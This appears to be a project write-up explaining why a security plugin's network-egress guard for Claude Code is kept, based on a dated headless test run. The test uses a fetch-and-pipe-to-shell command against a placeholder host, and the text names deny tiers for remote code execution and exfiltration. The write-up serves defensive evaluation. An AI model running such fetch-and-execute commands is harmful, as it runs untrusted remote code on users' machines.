Who judges curl | sh? The #3877 KEEP verdict
Milestone 164 closed its epics with one standalone tail: is ork's network-egress-guard DENY tier a shadow of something Claude Code now does natively? The rule in shared/rules/cc-native-first.md says a KEEP is only legitimate with a measurement. Here is the measurement, and the three earlier ones it sits next to.
Pick who is in the lane, read what happens to the bytes
The command is always curl https://example.com/nonexistent.sh | sh. Each arm below is a real run on a real machine, with its date and source; nothing here is simulated. The 2026-09-06 arm is the new one, run headless (claude -p) at CC 2.1.263 with only the ork plugin disabled.
The register rows this PR changes
| row | before | after (2026-09-06) |
|---|---|---|
network-egress-guard DENY tier | KEEP: judges executing fetched bytes; no network policy sees that. (a belief) | KEEP, measured: with the host allowlisted, the pipe into sh ran with no prompt, no denial, no violations block. Transcript under the purge rows. |
read/credential-read-guard | DELETE after probe (the hook had already left in #3840 on 2026-08-31) | DELETED 2026-08-31 (#3840, wave 3); the probe was the CI canary plus doctor's audit. Stamped. |
sync-bash-dispatcher.ts roster comment | "DENY remote-code-exec, ASK exfil/staged-run" (the ASK tier left in #3835 wave 2) | DENY tier only; ASK retired 2026-08-31; KEEP measured 2026-09-06. |
network-egress-guard.ts header | "retirement is gated on OBSERVING the sandbox block an egress attempt" (met on 2026-08-30, never restated) | egress-block gate met 2026-08-30 (#3322); DENY tier is a different question, measured 2026-09-06. |
Two of the four rows were dated observations that had gone stale while still reading as current. That is the register's own failure mode, and the reason every KEEP now carries a date.
What flips this verdict
One measurement, the headless arm. The interactive arm from the #3877 recipe is the operator's call. If a later CC release prompts, denies, or emits a sandbox_violations block on the allowlisted-host pipe, the row flips to DELETE: the DENY opinion re-homes as a rule through the #3836 writer, the guard and its three test files go, and the dispatcher roster loses its last security member. Until then: the sandbox decides which hosts; this tier decides what may be done with the bytes.